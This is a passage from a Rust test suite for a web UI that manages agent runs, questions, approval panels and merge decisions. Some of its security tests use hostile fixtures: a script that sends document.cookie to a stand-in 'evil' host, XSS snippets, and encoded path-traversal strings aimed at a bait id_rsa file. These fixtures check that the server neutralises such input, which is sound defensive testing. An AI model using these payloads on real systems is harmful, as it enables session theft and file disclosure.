11098 .position(|w| w == b"\r\n\r\n")
11099 .expect("a header block");
11100 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11101 let bytes = raw[split + 4..].to_vec();
11102 let status = head
11103 .lines()
11104 .next()
11105 .and_then(|line| line.split_whitespace().nth(1))
11106 .and_then(|code| code.parse().ok())
11107 .expect("a status line");
11108 Res {
11109 status,
11110 headers: head.to_lowercase(),
11111 head,
11112 body: String::from_utf8_lossy(&bytes).into_owned(),
11113 bytes,
11114 }
11115 }
11116
11117 async fn request_bytes(
11123 addr: SocketAddr,
11124 path: &str,
11125 headers: &[(&str, &str)],
11126 body: &[u8],
11127 ) -> Res {
11128 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11129 for (name, value) in headers {
11130 head.push_str(&format!("{name}: {value}\r\n"));
11131 }
11132 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
11133 let mut socket = tokio::net::TcpStream::connect(addr)
11134 .await
11135 .expect("connect to the test server");
11136 socket
11137 .write_all(head.as_bytes())
11138 .await
11139 .expect("write request head");
11140 socket.write_all(body).await.expect("write request body");
11141 let mut raw = Vec::new();
11142 socket.read_to_end(&mut raw).await.expect("read response");
11143 let split = raw
11144 .windows(4)
11145 .position(|w| w == b"\r\n\r\n")
11146 .expect("a header block");
11147 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11148 let bytes = raw[split + 4..].to_vec();
11149 let status = head
11150 .lines()
11151 .next()
11152 .and_then(|line| line.split_whitespace().nth(1))
11153 .and_then(|code| code.parse().ok())
11154 .expect("a status line");
11155 Res {
11156 status,
11157 headers: head.to_lowercase(),
11158 head,
11159 body: String::from_utf8_lossy(&bytes).into_owned(),
11160 bytes,
11161 }
11162 }
11163
11164 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
11166 let mut state = RunState::new(
11167 PathBuf::from("/repo/magi"),
11168 "main".to_owned(),
11169 "0123456789abcdef".to_owned(),
11170 "Add a web UI\n\nMobile first.".to_owned(),
11171 Config::default(),
11172 );
11173 state.id = id.to_owned();
11174 state.status = status;
11175 let dir = runs.join(id);
11176 std::fs::create_dir_all(&dir).expect("run dir");
11177 std::fs::write(
11178 dir.join("run.json"),
11179 serde_json::to_string_pretty(&state).expect("serialize run"),
11180 )
11181 .expect("write run.json");
11182 }
11183
11184 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
11188 let mut state = RunState::new(
11189 PathBuf::from(repo),
11190 "main".to_owned(),
11191 "0123456789abcdef".to_owned(),
11192 "task".to_owned(),
11193 Config::default(),
11194 );
11195 state.id = id.to_owned();
11196 state.status = status;
11197 let dir = runs.join(id);
11198 std::fs::create_dir_all(&dir).expect("run dir");
11199 std::fs::write(
11200 dir.join("run.json"),
11201 serde_json::to_string_pretty(&state).expect("serialize run"),
11202 )
11203 .expect("write run.json");
11204 }
11205
11206 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
11207 let body = serde_json::json!({
11208 "schema": 1,
11209 "pid": 4242,
11210 "started_at": Timestamp::now().to_string(),
11211 "updated_at": updated_at.to_string(),
11212 "idle": false,
11213 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
11214 "completed": 7,
11215 "polls": 143,
11216 });
11217 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
11218 }
11219
11220 fn launch_idle(
11230 _opts: daemon::Opts,
11231 stop: daemon::Stop,
11232 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11233 Box::pin(async move {
11234 while !stop.stopped() {
11235 tokio::time::sleep(Duration::from_millis(2)).await;
11236 }
11237 Ok(())
11238 })
11239 }
11240
11241 fn launch_broken(
11244 _opts: daemon::Opts,
11245 _stop: daemon::Stop,
11246 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11247 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
11252 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
11253 Box::pin(async move {
11254 Err(anyhow::anyhow!(if first {
11255 "publish the daemon status file: read-only file system"
11256 } else {
11257 "the restarted stand-in failed as well"
11258 }))
11259 })
11260 }
11261
11262 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11271 for _ in 0..SETTLE_STEPS {
11272 let view = fx.get("/api/loop").await.json();
11273 if want(&view) {
11274 return view;
11275 }
11276 tokio::time::sleep(Duration::from_millis(10)).await;
11277 }
11278 panic!(
11279 "the loop never settled: {}",
11280 fx.get("/api/loop").await.json()
11281 );
11282 }
11283
11284 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11286 let store = fx.questions();
11287 let mut q = Question::new(
11288 "20260902-000000-beef".to_owned(),
11289 "implement".to_owned(),
11290 "impl-A".to_owned(),
11291 summary.to_owned(),
11292 "because it matters".to_owned(),
11293 choices.iter().map(|c| (*c).to_owned()).collect(),
11294 );
11295 store.put(&mut q).expect("put question");
11296 q.id
11297 }
11298
11299 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11305 let store = fx.questions();
11306 let mut q = Question::new(
11307 "20260902-000000-beef".to_owned(),
11308 "land".to_owned(),
11309 "fix".to_owned(),
11310 "Merge this?".to_owned(),
11311 "the diff is in the panel".to_owned(),
11312 vec!["merge".to_owned(), "hold".to_owned()],
11313 );
11314 let staging = fx.home.path().join("staging");
11317 std::fs::create_dir_all(&staging).expect("staging dir");
11318 let sources: Vec<PathBuf> = assets
11319 .iter()
11320 .map(|(name, bytes)| {
11321 let path = staging.join(name);
11322 std::fs::write(&path, bytes).expect("write staged asset");
11323 path
11324 })
11325 .collect();
11326 store
11327 .put_panel(&mut q, html, &sources)
11328 .expect("write the panel");
11329 store.put(&mut q).expect("put question");
11330 q.id
11331 }
11332
11333 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11342 seed_talk_at(&fx.talks(), id, status)
11343 }
11344
11345 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11346 std::fs::create_dir_all(store.root()).expect("talks dir");
11347 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11348 .expect("serialize a seat");
11349 let body = serde_json::json!({
11350 "schema": 1,
11351 "id": id,
11352 "repo": "/repo/magi",
11353 "agent": "mock",
11354 "status": status,
11355 "turns": [],
11356 "created_at": Timestamp::now().to_string(),
11357 "updated_at": Timestamp::now().to_string(),
11358 "seat": seat,
11359 });
11360 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11361 store.get(id).expect("the seeded talk has to be readable");
11362 id.to_owned()
11363 }
11364
11365 #[tokio::test]
11366 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11367 let fx = Fixture::start().await;
11368 let id = panel(
11369 &fx,
11370 "<h1>Merge?</h1><img src=\"diff.svg\">",
11371 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11372 );
11373
11374 for path in [
11375 format!("/api/questions/{id}/panel"),
11376 format!("/api/questions/{id}/asset/diff.svg"),
11377 ] {
11378 let res = fx.get(&path).await;
11379 assert_eq!(res.status, 200, "{path}: {}", res.body);
11380 assert_eq!(
11386 res.header("content-security-policy"),
11387 Some(
11388 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11389 font-src data:; base-uri 'none'; form-action 'none'; \
11390 frame-ancestors 'self'"
11391 ),
11392 "{path} is the only thing between a hostile panel and the tailnet"
11393 );
11394 assert_eq!(
11395 res.header("x-content-type-options"),
11396 Some("nosniff"),
11397 "{path}: a browser must not re-decide the type we sent"
11398 );
11399 assert_eq!(
11400 res.header("referrer-policy"),
11401 Some("no-referrer"),
11402 "{path}: a panel must not leak the question id off the machine"
11403 );
11404
11405 let pre = fx.head(&path).await;
11410 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11411 assert_eq!(
11412 pre.header("content-security-policy"),
11413 res.header("content-security-policy"),
11414 "{path}: the preflight carries the same policy"
11415 );
11416 assert_eq!(
11417 pre.header("content-type"),
11418 res.header("content-type"),
11419 "{path}: the preflight carries the same type"
11420 );
11421 }
11422 }
11423
11424 #[tokio::test]
11425 async fn a_panel_reaches_the_browser_byte_for_byte() {
11426 let fx = Fixture::start().await;
11427 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
11432 let id = panel(&fx, html, &[]);
11433
11434 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11435
11436 assert_eq!(res.status, 200);
11437 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11438 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11439 assert_eq!(
11440 res.header("content-disposition"),
11441 None,
11442 "the panel itself is rendered in the frame, not downloaded"
11443 );
11444 }
11445
11446 #[tokio::test]
11447 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11448 let fx = Fixture::start().await;
11449 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11450 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11451 let id = panel(
11452 &fx,
11453 "<img src=\"diff.svg\"><img src=\"shot.png\">",
11454 &[("diff.svg", svg), ("shot.png", png)],
11455 );
11456
11457 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11458 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11459
11460 assert_eq!(as_svg.status, 200);
11461 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11462 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11467
11468 assert_eq!(as_png.status, 200);
11469 assert_eq!(as_png.header("content-type"), Some("image/png"));
11470 assert_eq!(
11471 as_png.header("content-disposition"),
11472 None,
11473 "a raster image has no execution surface, so tapping it still shows it"
11474 );
11475 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11476 }
11477
11478 #[tokio::test]
11479 async fn an_html_asset_is_never_served_as_html() {
11480 let fx = Fixture::start().await;
11481 let id = panel(
11482 &fx,
11483 "<p>see the notes</p>",
11484 &[
11485 (
11486 "notes.html",
11487 b"<script>fetch('http://evil/'+document.cookie)</script>",
11488 ),
11489 ("hook.js", b"fetch('http://evil/')"),
11490 ("data.json", b"{}"),
11491 ("HEADLINE.TXT", b"plain"),
11492 ],
11493 );
11494
11495 for name in ["notes.html", "hook.js", "data.json"] {
11496 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
11497 assert_eq!(res.status, 200, "{name}: {}", res.body);
11498 assert_eq!(
11503 res.header("content-type"),
11504 Some("application/octet-stream"),
11505 "{name} must not be a type the browser will execute or render"
11506 );
11507 }
11508 let txt = fx
11511 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11512 .await;
11513 assert_eq!(
11514 txt.header("content-type"),
11515 Some("text/plain; charset=utf-8")
11516 );
11517 }
11518
11519 #[tokio::test]
11520 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11521 let fx = Fixture::start().await;
11522 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11523 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11527
11528 for encoded in [
11535 "%2e%2e%2fid_rsa",
11536 "..%2fid_rsa",
11537 "..%5cid_rsa",
11538 "%2e%2e%5cid_rsa",
11539 "diff%00.svg",
11540 "..",
11541 ".hidden",
11542 "%2e%2e%2f%2e%2e%2fid_rsa",
11543 ] {
11544 let res = fx
11545 .get(&format!("/api/questions/{id}/asset/{encoded}"))
11546 .await;
11547 assert_eq!(
11548 res.status, 400,
11549 "`{encoded}` has to be refused by name, not looked up: {}",
11550 res.body
11551 );
11552 assert!(res.json()["error"].is_string(), "{}", res.body);
11553 }
11554
11555 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
11561 let res = fx
11562 .get(&format!("/api/questions/{id}/asset/{literal}"))
11563 .await;
11564 assert_eq!(
11565 res.status, 404,
11566 "`{literal}` must not match the asset route at all: {}",
11567 res.body
11568 );
11569 }
11570 }
11571
11572 #[tokio::test]
11573 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
11574 let fx = Fixture::start().await;
11575 let plain = ask(&fx, "Which backend?", &["SQLite"]);
11576 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11577
11578 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
11582 assert_eq!(none.status, 404, "{}", none.body);
11583 assert!(none.json()["error"].is_string(), "{}", none.body);
11584 assert_eq!(
11585 fx.head(&format!("/api/questions/{plain}/panel"))
11586 .await
11587 .status,
11588 404,
11589 "the preflight is the only way the client can learn this"
11590 );
11591
11592 let missing = fx
11594 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
11595 .await;
11596 assert_eq!(missing.status, 404, "{}", missing.body);
11597 assert!(missing.json()["error"].is_string(), "{}", missing.body);
11598
11599 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
11601 assert_eq!(
11602 fx.get("/api/questions/nope/asset/diff.svg").await.status,
11603 404
11604 );
11605 }
11606
11607 #[tokio::test]
11608 async fn a_run_with_an_open_question_reads_as_waiting() {
11609 let fx = Fixture::start().await;
11610 let run = "20260902-000000-beef".to_owned();
11611 write_run(&fx.runs(), &run, RunStatus::Implementing);
11612
11613 let before = fx.get("/api/runs").await.json();
11614 assert_eq!(before[0]["waiting"], false, "{before}");
11615
11616 let store = fx.questions();
11617 let mut q = Question::new(
11618 run.clone(),
11619 "implement".to_owned(),
11620 "impl-A".to_owned(),
11621 "Which backend?".to_owned(),
11622 String::new(),
11623 vec!["SQLite".to_owned()],
11624 );
11625 store.put(&mut q).expect("put");
11626
11627 let during = fx.get("/api/runs").await.json();
11628 assert_eq!(during[0]["waiting"], true, "{during}");
11629
11630 q.answer(Answer::Choice("SQLite".to_owned()))
11633 .expect("answer");
11634 store.put(&mut q).expect("put");
11635 let after = fx.get("/api/runs").await.json();
11636 assert_eq!(after[0]["waiting"], false, "{after}");
11637 }
11638
11639 #[tokio::test]
11640 async fn an_open_question_is_listed_and_counted_by_health() {
11641 let fx = Fixture::start().await;
11642 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11643
11644 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11645 let listed = fx.get("/api/questions").await.json();
11646 assert_eq!(listed.as_array().expect("array").len(), 1);
11647 assert_eq!(listed[0]["id"], id);
11648 assert_eq!(listed[0]["status"], "open");
11649 assert_eq!(listed[0]["choices"][1], "Redis");
11650 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11653 }
11654
11655 fn obsolete_approval_state() -> RunState {
11656 let mut state = crate::land::tests::repair_state(true, true);
11657 state.pr = Some(crate::run::PrRecord {
11658 url: "https://github.com/example/repo/pull/42".into(),
11659 number: 42,
11660 state: "open".into(),
11661 checks: "green".into(),
11662 round: 1,
11663 rounds: 4,
11664 red_at_merge: Vec::new(),
11665 });
11666 state
11667 }
11668
11669 #[tokio::test]
11670 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
11671 for owner in ["missing", "current", "completed", "later"] {
11672 let fx = Fixture {
11673 home: TempDir::new().unwrap(),
11674 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11675 };
11676 let mut state = obsolete_approval_state();
11677 state.status = RunStatus::Landing;
11678 state.parked = true;
11679 state.driver_exited = true;
11680 let mut q = Question::new(
11681 state.id.clone(),
11682 crate::land::APPROVAL_NODE.into(),
11683 "land".into(),
11684 "Old approval".into(),
11685 "Original evidence".into(),
11686 vec!["merge".into(), "hold".into()],
11687 );
11688 state.land_approval = Some(crate::run::LandApproval {
11689 question: q.id.clone(),
11690 head: "head".into(),
11691 });
11692 state.save_under(fx.home.path()).unwrap();
11693 let stale = state.clone();
11694 fx.questions().put(&mut q).unwrap();
11695 let mut task = Task::new(
11696 "Owner".into(),
11697 "Original instruction".into(),
11698 state.repo.clone(),
11699 Source::Human,
11700 );
11701 task.runs.push(state.id.clone());
11702 task.status = if owner == "completed" {
11703 TaskStatus::Done
11704 } else {
11705 TaskStatus::Parked
11706 };
11707 if owner == "later" {
11708 task.runs.push("later-run".into());
11709 }
11710 if owner != "missing" {
11711 fx.queue().put(&mut task).unwrap();
11712 }
11713 let ui = Arc::new(Ui::new(
11714 fx.queue(),
11715 fx.questions(),
11716 fx.talks(),
11717 fx.runs(),
11718 fx.home.path().into(),
11719 state.repo.clone(),
11720 ));
11721 let response = question_answer(
11722 State(ui),
11723 Path(q.id.clone()),
11724 Ok(Json(NewAnswer {
11725 choice: Some(crate::merge_decision::DISMISS.into()),
11726 text: None,
11727 ..Default::default()
11728 })),
11729 )
11730 .await
11731 .unwrap();
11732 assert_eq!(
11733 response.0.question.resolution().as_deref(),
11734 Some(crate::merge_decision::DISMISS)
11735 );
11736 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11737 assert_eq!(disk.status, RunStatus::Superseded);
11738 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
11739 assert!(!crate::merge_decision::resumable_hold(&disk));
11740 assert_eq!(
11741 serde_json::to_value(&disk.pr).unwrap(),
11742 serde_json::to_value(&stale.pr).unwrap()
11743 );
11744 assert_eq!(fx.questions().count_open(), 0);
11745 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
11746 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11747 if owner == "missing" {
11748 assert!(fx.queue().list().is_empty());
11749 } else {
11750 let after = fx.queue().get(&task.id).unwrap();
11751 assert_eq!(
11752 after.status,
11753 if owner == "current" {
11754 TaskStatus::Done
11755 } else {
11756 task.status
11757 }
11758 );
11759 assert_eq!(after.runs, task.runs);
11760 assert_eq!(after.instruction, task.instruction);
11761 assert_eq!(after.action_applied(&q.id), owner == "current");
11762 }
11763 }
11764 }
11765
11766 #[tokio::test]
11767 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
11768 let fx = Fixture::start().await;
11769 let mut state = obsolete_approval_state();
11770 state.status = RunStatus::Landing;
11771 state.parked = true;
11772 state.driver_exited = true;
11773 let mut q = Question::new(
11774 state.id.clone(),
11775 crate::land::APPROVAL_NODE.into(),
11776 "land".into(),
11777 "Superseded PR approval".into(),
11778 "Original review evidence".into(),
11779 vec!["merge".into(), "hold".into()],
11780 );
11781 state.land_approval = Some(crate::run::LandApproval {
11782 question: q.id.clone(),
11783 head: "old-reviewed-head".into(),
11784 });
11785 state.save_under(fx.home.path()).unwrap();
11788 let stale_driver = state.clone();
11789 fx.questions().put(&mut q).unwrap();
11790 let path = fx
11791 .home
11792 .path()
11793 .join("questions")
11794 .join(format!("{}.json", q.id));
11795 let mut legacy = serde_json::to_value(&q).unwrap();
11796 legacy["schema"] = 9.into();
11797 legacy.as_object_mut().unwrap().remove("merge_target");
11798 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
11799
11800 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11803 let answer_path = format!("/api/questions/{}/answer", q.id);
11804 let res = fx.post(&answer_path, Some(&body)).await;
11805 assert_eq!(res.status, 200, "{}", res.body);
11806 let disk = fx.questions().get(&q.id).unwrap();
11807 assert_eq!(
11808 disk.resolution().as_deref(),
11809 Some(crate::merge_decision::DISMISS)
11810 );
11811 assert!(disk.detail.starts_with("Original review evidence"));
11812 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
11813 assert_eq!(retired.status, RunStatus::Superseded);
11814 assert_eq!(
11815 serde_json::to_value(&retired.pr).unwrap(),
11816 serde_json::to_value(&state.pr).unwrap()
11817 );
11818 assert!(!retired.merge_decision.as_ref().unwrap().closed);
11819 assert!(!crate::merge_decision::resumable_hold(&retired));
11820 assert!(fx.queue().list().is_empty());
11821 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11822 let addr = Fixture::serve(
11824 fx.home.path(),
11825 PathBuf::from("/repo/magi"),
11826 launch_idle,
11827 None,
11828 )
11829 .await;
11830 let reconnected = Fixture {
11831 home: fx.home,
11832 addr,
11833 };
11834 let listed = reconnected.get("/api/questions").await.json();
11835 assert!(
11836 listed
11837 .as_array()
11838 .unwrap()
11839 .iter()
11840 .all(|q| q["status"] != "open")
11841 );
11842 assert_eq!(listed[0]["id"], q.id, "history remains available");
11843 assert_eq!(
11844 reconnected.get("/api/health").await.json()["questions_open"],
11845 0
11846 );
11847 assert_eq!(
11848 reconnected
11849 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
11850 .await
11851 .status,
11852 409
11853 );
11854 assert!(
11856 reconnected
11857 .questions()
11858 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
11859 .is_err()
11860 );
11861 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
11864 }
11865
11866 #[tokio::test]
11867 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
11868 let fx = Fixture::start().await;
11869 let mut state = obsolete_approval_state();
11870 state.status = RunStatus::Landing;
11871 state.driver_exited = true;
11872 let mut q = Question::new(
11873 state.id.clone(),
11874 crate::land::APPROVAL_NODE.into(),
11875 "land".into(),
11876 "Obsolete approval".into(),
11877 String::new(),
11878 vec!["merge".into(), "hold".into()],
11879 );
11880 state.land_approval = Some(crate::run::LandApproval {
11881 question: q.id.clone(),
11882 head: "head".into(),
11883 });
11884 state.save_under(fx.home.path()).unwrap();
11885 fx.questions().put(&mut q).unwrap();
11886 let mut task = Task::new(
11887 "Owner".into(),
11888 "Original instruction".into(),
11889 state.repo.clone(),
11890 Source::Human,
11891 );
11892 task.runs = vec![state.id.clone(), "later-run".into()];
11893 fx.queue().put(&mut task).unwrap();
11894 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
11895 let claim = fx.queue().claim(&task.id).unwrap();
11896 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11897 let path = format!("/api/questions/{}/answer", q.id);
11898 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11899 assert!(fx.questions().get(&q.id).unwrap().status.open());
11900 drop(claim);
11901 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
11902 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11903 assert!(fx.questions().get(&q.id).unwrap().status.open());
11904 drop(publication);
11905 state.driver_exited = false;
11907 state.driver_pid = None;
11908 state.driver_claimed = None; state.save_under(fx.home.path()).unwrap();
11910 assert_eq!(
11911 state.liveness_under(fx.home.path(), false),
11912 crate::run::Liveness::Unknown
11913 );
11914
11915 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11916 state.driver_exited = true;
11917 state.land_armed_head = Some("head".into());
11918 state.save_under(fx.home.path()).unwrap();
11919 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11920 state.land_armed_head = None;
11921 state.save_under(fx.home.path()).unwrap();
11922 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11923 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11924 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
11925 }
11926
11927 #[tokio::test]
11928 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
11929 let fx = Fixture::start().await;
11930 let mut state = obsolete_approval_state();
11931 state.status = RunStatus::Landing;
11932 state.driver_exited = true;
11933 let mut q = Question::new(
11934 state.id.clone(),
11935 crate::land::APPROVAL_NODE.into(),
11936 "land".into(),
11937 "Obsolete approval".into(),
11938 String::new(),
11939 vec!["merge".into(), "hold".into()],
11940 );
11941 state.land_approval = Some(crate::run::LandApproval {
11942 question: q.id.clone(),
11943 head: "head".into(),
11944 });
11945 state.save_under(fx.home.path()).unwrap();
11946 fx.questions().put(&mut q).unwrap();
11947 let mut task = Task::new(
11948 "Owner".into(),
11949 "Original instruction".into(),
11950 state.repo.clone(),
11951 Source::Human,
11952 );
11953 task.runs.push(state.id.clone());
11954 task.status = TaskStatus::Parked;
11955 fx.queue().put(&mut task).unwrap();
11956 state.merge_decision = Some(crate::merge_decision::Decision {
11959 question: q.id.clone(),
11960 target: crate::merge_decision::Target {
11961 pr: state.pr.as_ref().unwrap().url.clone(),
11962 head: "head".into(),
11963 language: "ja".into(),
11964 },
11965 choice: crate::merge_decision::DISMISS.into(),
11966 closed: false,
11967 replacement_run: None,
11968 replacement_pr: None,
11969 });
11970 state.status = RunStatus::Superseded;
11971 state.save_under(fx.home.path()).unwrap();
11972 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11973 let path = format!("/api/questions/{}/answer", q.id);
11974 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11975 let done = fx.queue().get(&task.id).unwrap();
11976 assert_eq!(done.status, TaskStatus::Done);
11977 assert_eq!(done.runs, task.runs);
11978 assert_eq!(done.instruction, task.instruction);
11979 assert!(done.action_applied(&q.id));
11980 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11981 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
11982 assert!(!fx.questions().get(&q.id).unwrap().status.open());
11983 }
11984
11985 #[tokio::test]
11986 async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
11987 let home = TempDir::new().unwrap();
11988 let ui = Arc::new(Ui::new(
11989 Queue::at(home.path().join("queue")),
11990 Questions::at(home.path().join("questions")),
11991 Talks::at(home.path().join("talks")),
11992 home.path().join("runs"),
11993 home.path().to_owned(),
11994 home.path().to_owned(),
11995 ));
11996 let talks = &ui.talks;
11997 let chat =
11998 talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
11999 let mut q = Question::new(
12000 "run".into(),
12001 crate::land::APPROVAL_NODE.into(),
12002 "land".into(),
12003 "Merge?".into(),
12004 String::new(),
12005 vec!["merge".into(), "hold".into()],
12006 );
12007 q.routed_task = Some("task".into());
12008 q.routed_chat = Some(chat.id.clone());
12009 q.merge_target = Some(crate::merge_decision::Target {
12010 pr: "https://example.test/pull/1".into(),
12011 head: "head-a".into(),
12012 language: "en".into(),
12013 });
12014 ui.questions.put(&mut q).unwrap();
12015 let send = |body| {
12016 question_answer(
12017 State(ui.clone()),
12018 Path(q.id.clone()),
12019 Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12020 )
12021 };
12022 let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12023 assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12024 let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12025 assert!(send(wrong_chat).await.is_err());
12026 let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12027 assert!(send(stale).await.is_err());
12028 assert!(ui.questions.get(&q.id).unwrap().status.open());
12029 assert!(send(button.clone()).await.is_ok());
12030 assert_eq!(
12031 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12032 Some("merge")
12033 );
12034 assert!(send(button).await.is_err());
12035 }
12036
12037 #[tokio::test]
12038 async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12039 let home = TempDir::new().unwrap();
12040 let ui = Arc::new(Ui::new(
12041 Queue::at(home.path().join("queue")),
12042 Questions::at(home.path().join("questions")),
12043 Talks::at(home.path().join("talks")),
12044 home.path().join("runs"),
12045 home.path().to_owned(),
12046 home.path().to_owned(),
12047 ));
12048 for choice in [crate::land::APPROVE, crate::land::HOLD] {
12049 let mut q = Question::new(
12050 "run".into(),
12051 crate::land::APPROVAL_NODE.into(),
12052 "land".into(),
12053 "Merge?".into(),
12054 String::new(),
12055 vec!["merge".into(), choice.into()],
12056 );
12057 q.routed_task = Some("task".into());
12058 q.merge_target = Some(crate::merge_decision::Target {
12059 pr: "https://example.test/pull/1".into(),
12060 head: "head-a".into(),
12061 language: "en".into(),
12062 });
12063 ui.questions.put(&mut q).unwrap();
12064 let answer = |c: &str| {
12065 question_answer(
12066 State(ui.clone()),
12067 Path(q.id.clone()),
12068 Ok(Json(
12069 serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12070 .unwrap(),
12071 )),
12072 )
12073 };
12074 let _ = answer(choice).await.unwrap();
12075 assert_eq!(
12076 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12077 Some(choice)
12078 );
12079 }
12080 }
12081
12082 #[tokio::test]
12083 async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
12084 let home = TempDir::new().unwrap();
12085 let ui = Arc::new(Ui::new(
12086 Queue::at(home.path().join("queue")),
12087 Questions::at(home.path().join("questions")),
12088 Talks::at(home.path().join("talks")),
12089 home.path().join("runs"),
12090 home.path().to_owned(),
12091 home.path().to_owned(),
12092 ));
12093 let mut q = Question::new(
12094 "run".into(),
12095 crate::github_text::ASK_NODE.into(),
12096 "posting-gate".into(),
12097 "Post?".into(),
12098 String::new(),
12099 vec!["use fallback".into()],
12100 );
12101 q.routed_task = Some("task".into());
12102 ui.questions.put(&mut q).unwrap();
12103 let sent = question_answer(
12104 State(ui.clone()),
12105 Path(q.id.clone()),
12106 Ok(Json(
12107 serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
12108 .unwrap(),
12109 )),
12110 )
12111 .await;
12112 let _ = sent.unwrap();
12113 assert_eq!(
12114 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12115 Some("use fallback")
12116 );
12117 }
12118
12119 #[tokio::test]
12120 async fn merge_decision_api_persists_exact_target_and_selected_action() {
12121 let fx = Fixture {
12122 home: TempDir::new().unwrap(),
